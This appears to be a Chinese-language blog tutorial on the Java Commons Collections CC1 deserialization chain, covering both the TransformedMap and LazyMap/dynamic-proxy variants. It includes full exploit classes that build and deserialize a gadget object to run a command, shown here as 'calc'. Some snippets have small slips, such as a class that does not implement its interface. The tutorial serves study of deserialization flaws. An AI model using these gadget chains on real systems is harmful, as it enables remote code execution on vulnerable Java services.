通过反射执行命令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package org.example; import java.io.IOException; import java.lang.reflect.Method; public class Main { public static void main(String[] args) throws Exception { //命令执行: //Runtime.getRuntime().exec("calc"); //获取Runtime类名 Class Runtimeclass=Runtime.class; //获取getRuntime方法getMethod("方法名",方法参数类型) Method getRuntimemethod =Runtimeclass.getMethod("getRuntime",null); ////调用invoke获取 Runtime 无参数为null Runtime r =(Runtime) getRuntimemethod.invoke(null,null); //获取exec方法 Method execMethod =Runtimeclass.getMethod("exec",String.class); //调用命令 Object object=execMethod.invoke(r,"calc"); } }
InvokeTransformer 的核心功能:利用 Java 的反射(Reflection)机制,去调用一个指定对象的指定方法 。
transform方法可以实现方法的调用
1 2 3 4 5 6 7 8 9 10 11 12 13 import org.apache.commons.collections.functors.InvokerTransformer; public class CC1 { public static void main(String[] args) throws Exception { //Runtime r =Runtime.getRuntime(); Method getRuntimeMethod= (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class); Runtime r = (Runtime)new InvokerTransformer("invoke", new Class[]{ Object.class,Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod); //利用Java反射机制来创建类实例 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r); } }
String methodName:方法名
Class[] paramTypes:方法的参数类型
Object[] args:参数
TransformedMap类:当 Map 中的数据发生变化(如添加新元素或修改已有元素)时,自动对 Key 或 Value 进行预设的“转换”处理
可以把普通的 HashMap 想象成一个普通的水桶 ,往里面倒什么水(Value),桶里装的就是什么水。倒自来水,里面就是自来水;倒脏水,里面就是脏水。
而 TransformedMap 则是给这个水桶装了一个“智能多功能净水水龙头”。
装饰(decorate)阶段: 你在水龙头里安装了特定滤芯(传入 Transformer 转换器)。
注入(setValue / put)阶段: 以后任何人往这个桶里倒水,都必须经过这个水龙头。
如果装的是“除杂滤芯”:倒进污水,水龙头自动把它 转换成纯净水,最后流进桶里的其实是纯净水。 如果装的是 “加糖滤芯”:倒进白开水,水龙头自动把它 转换成糖水。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class transformedMap { public static void main(String[] args) { // 1. 创建普通 Map Map<String, String> userMap = new HashMap<>(); // 2. 预设一个“转换器”:把传入的字符串去空格并变大写 Transformer cleanTransformer = new Transformer() { @Override public Object transform(Object input) { if (input instanceof String) { return ((String) input).trim().toUpperCase(); // 转换逻辑 } return input; } }; // 3. 用 TransformedMap 包装起来(装饰) Map decoratedMap = TransformedMap.decorate(userMap, null, cleanTransformer); // 4. 外部正常使用 decoratedMap.put("user1", " admin "); // 故意输入带空格和低写的字符串 System.out.println(userMap.get("user1")); // 输出结果是: "ADMIN" } }
TransformedMap类里的checkSetValue用到transform方法。但checkSetValue方法是个保护方法。查找checkSetValue的调用
在TransformedMap父类AbstractInputCheckedMapDecorator抽象类中,用到了checkSetValue方法。
TransformedMap类继承抽象类AbstractInputCheckedMapDecorator,可以调用setValue方法向value赋值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class CC1 { public static void main(String[] args) throws Exception { Runtime r =Runtime.getRuntime(); InvokerTransformer invokerTransformer=(InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); HashMap<Object,Object> map=new HashMap<>(); map.put("key","value"); Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,invokerTransformer); //entrySet()会把“键”和“值”打包成一个整体的对象,这个对象叫 **`Map.Entry`** for (Map.Entry entry:transformedMap.entrySet()){ System.out.println(entry.setValue(r)); } } }
TransformedMap类的构造方法是 protected(受保护)的,不能通过 new TransformedMap(...) 直接创建它的实例。必须使用 TransformedMap.decorate() 向valueTransformer赋值
代码执行过程:
ChainedTransformer 的核心作用就是把多个 Transformer 串联起来,形成一个链条。前一个 Transformer 的输出结果,会直接作为下一个 Transformer 的输入参数
命令执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class CC1 { public static void main(String[] args) throws Exception { // Transformer[] transformers = new Transformer[]{ // new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), // new InvokerTransformer("invoke",new Class[]{ Object.class,Object[].class},new Object[]{null,null }), // new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}), // }; // ChainedTransformer chainedTransformer =new ChainedTransformer(transformers); // chainedTransformer.transform(Runtime.class); Transformer[] transformers = new Transformer[] { // 步骤 1:不管输入是什么,强行返回 Runtime.class new ConstantTransformer(Runtime.class), // 步骤 2:输入是 Runtime.class,输出是 getRuntime 的 Method 对象 new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), // 步骤 3:输入是 Method 对象,输出是普通的 Runtime 实例对象 new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), // 步骤 4:输入是 Runtime 实例对象,执行 exec("calc") new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) }; // 用 ChainedTransformer 将它们打包成一个整体 Transformer chain = new ChainedTransformer(transformers); // 此时,触发整条流水线只需要任意一个输入即可: chain.transform("anything"); } }
AnnotationInvocationHandler
AnnotationInvocationHandler作为 Java 动态代理的处理器,用来在运行时动态地实现一个注解(Annotation)接口。AnnotationInvocationHandler类中,重写了readObject方法,且此方法中用到了setValue函数。反序列化AnnotationInvocationHandler实例对象时,会自动执行readObject方法。
链条:
1 2 3 4 5 6 7 8 9 ObjectInputStream.readObject() -> AnnotationInvocationHandler.readObject() -> TransformedMap(AbstractInputCheckedMapDecorator$MapEntry).setValue() -> TransformedMap.checkSetValue() -> ChainedTransformer.transform() -> ConstantTransformer.transform() (返回 Runtime.class) -> InvokerTransformer.transform() (反射获取 getRuntime 方法) -> InvokerTransformer.transform() (反射调用 invoke 获取 Runtime 实例) -> InvokerTransformer.transform() (反射调用 exec 执行命令)
Class<? extends Annotation> type:一个注解的类型(Class 对象) ,比如 Retention.class、Target.class 或自定义的某个注解类。
Map<String, Object> memberValues:一个 Map,保存了该注解各个属性的具体数值 。
第一个条件:if (memberType != null)
检查传入的恶意 Map 里的 Key ,是不是这个注解类里真实存在的属性(方法)名 。
@Target 内部只有一个名为 value() 的属性
第二个条件:if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))
memberType.isInstance(value)
检查传入恶意 Map 里的 Value ,它的类型是不是该注解属性所要求的合法类型 。
value instanceof ExceptionProxy
检查传入的 value 是不是一个异常代理对象(通常用于处理注解解析时的异常)。
满足条件的map:("value","value")
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import sun.instrument.TransformerManager; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class CC1 { public static void main(String[] args) throws Exception { HashMap<Object,Object> map=new HashMap<>(); map.put("value","value"); Transformer[] transformers = new Transformer[] { // 步骤 1:不管输入是什么,强行返回 Runtime.class new ConstantTransformer(Runtime.class), // 步骤 2:输入是 Runtime.class,输出是 getRuntime 的 Method 对象 new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), // 步骤 3:输入是 Method 对象,输出是普通的 Runtime 实例对象 new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), // 步骤 4:输入是 Runtime 实例对象,执行 exec("calc") new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) }; // 用ChainedTransformer 将它们打包成一个整体 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer); Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); //newInstance():创建类的实例 Object o=constructor.newInstance(Target.class,transformedMap); //serialize(o); deserialize(); } public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static void deserialize() throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); Object o = ois.readObject(); System.out.println(o); } }
CC1-LazyMap链 动态代理 **动态代理(Dynamic Proxy)*就是 Java 中的一种* “替身机制”**。在不修改原本代码的前提下,为某个对象创建一个代理对象(替身)。以后所有对目标对象的调用,都会先经过这个代理对象,让代理对象在真正的业务逻辑执行前后,悄悄加上一些“额外的工作”。
定义接口:
1 2 3 4 public interface Hello { void morning(String name); }
编写实现类:
1 2 3 4 5 6 public class HelloWorld { public void morning(String name){ System.out.println("Good morning,"+name); } }
动态代理实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy; public class Main { public static void main(String[] args){ final Hello target= new HelloWorld(); InvocationHandler handler=new InvocationHandler() { @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { if (method.getName().equals("morning")){ System.out.println("What a beautiful day!"); } return method.invoke(target,args); } }; Hello hello=(Hello) Proxy.newProxyInstance(Hello.class.getClassLoader(),new Class[]{Hello.class},handler); hello.morning("Bob"); } } //What a beautiful day! //Good morning,Bob
在运行期动态创建一个interface实例的方法如下:
定义一个InvocationHandler实例,它负责实现接口的方法调用;
通过Proxy.newProxyInstance()创建interface实例,它需要3个参数:
使用的ClassLoader,通常就是接口类的ClassLoader;
需要实现的接口数组,至少需要传入一个接口进去;
用来处理接口方法调用的InvocationHandler实例。
将返回的Object强制转型为接口。
LazyMap 在LazyMap,get方法中同样使用了transform方法
If条件:map中并不存在key这个键
与TransformedMap类似,LazyMap的构造方法是保护的方法。无法直接进行实例化,需要使用decorate这个方法对factory进行赋值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class CC1lazymap { public static void main(String[] args) throws Exception { Transformer[] transformers={ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> map=new HashMap<>(); Map<Object,Object> decorate=LazyMap.decorate(map,chainedTransformer); decorate.get("a"); }
AnnotationInvocationHandler 在AnnotationInvocationHandler类invoke方法中,调用了get这个方法: memberValues.get(member)
在AnnotationInvocationHandler类中重载了readObjext方法。在反序列化时,会自动调用到memberValues.entrySet()。将memberValues值做一个动态代理,调用到AnnotationInvocationHandler类中的invoke方法,执行get方法,成功触发利用链
exp
入口阶段 (readObject ──> entrySet) Java 自带的反序列化机制启动,最外层的 AnnotationInvocationHandler 在恢复数据时,主动去遍历它持有的 proxyMap(调用其 entrySet() 方法)。
拦截中转阶段 (entrySet ──> invoke ──> get) 因为 proxyMap 是个动态代理,它没有 entrySet 的具体实现,于是把请求丢给内层的 AnnotationInvocationHandler。该处理器的 invoke 方法将其误判为属性获取,从而向真正的 lazyMap 发起了 get("entrySet") 查询。
引爆阶段 (get ──> transform ──> 命令执行) LazyMap 在本地 Map 中找不到 "entrySet" 这个键,触发了你刚才看到的 if (map.containsKey(key) == false) 逻辑,调用 ChainedTransformer.transform()。恶意的反射链条依次启动,最终通过 InvokerTransformer 执行了系统命令。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class CC1lazymap { public static void main(String[] args) throws Exception { Transformer[] transformers={ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); InvocationHandler annotationInvocationHandler = (InvocationHandler) declaredConstructor.newInstance(Target.class, lazyMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), map.getClass().getInterfaces(), annotationInvocationHandler); annotationInvocationHandler = (InvocationHandler) declaredConstructor.newInstance(Target.class, proxyMap); serialize(annotationInvocationHandler); deserialize(); } public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static void deserialize() throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); Object o = ois.readObject(); System.out.println(o); } }
参考:https://liaoxuefeng.com/books/java/reflection/proxy/index.html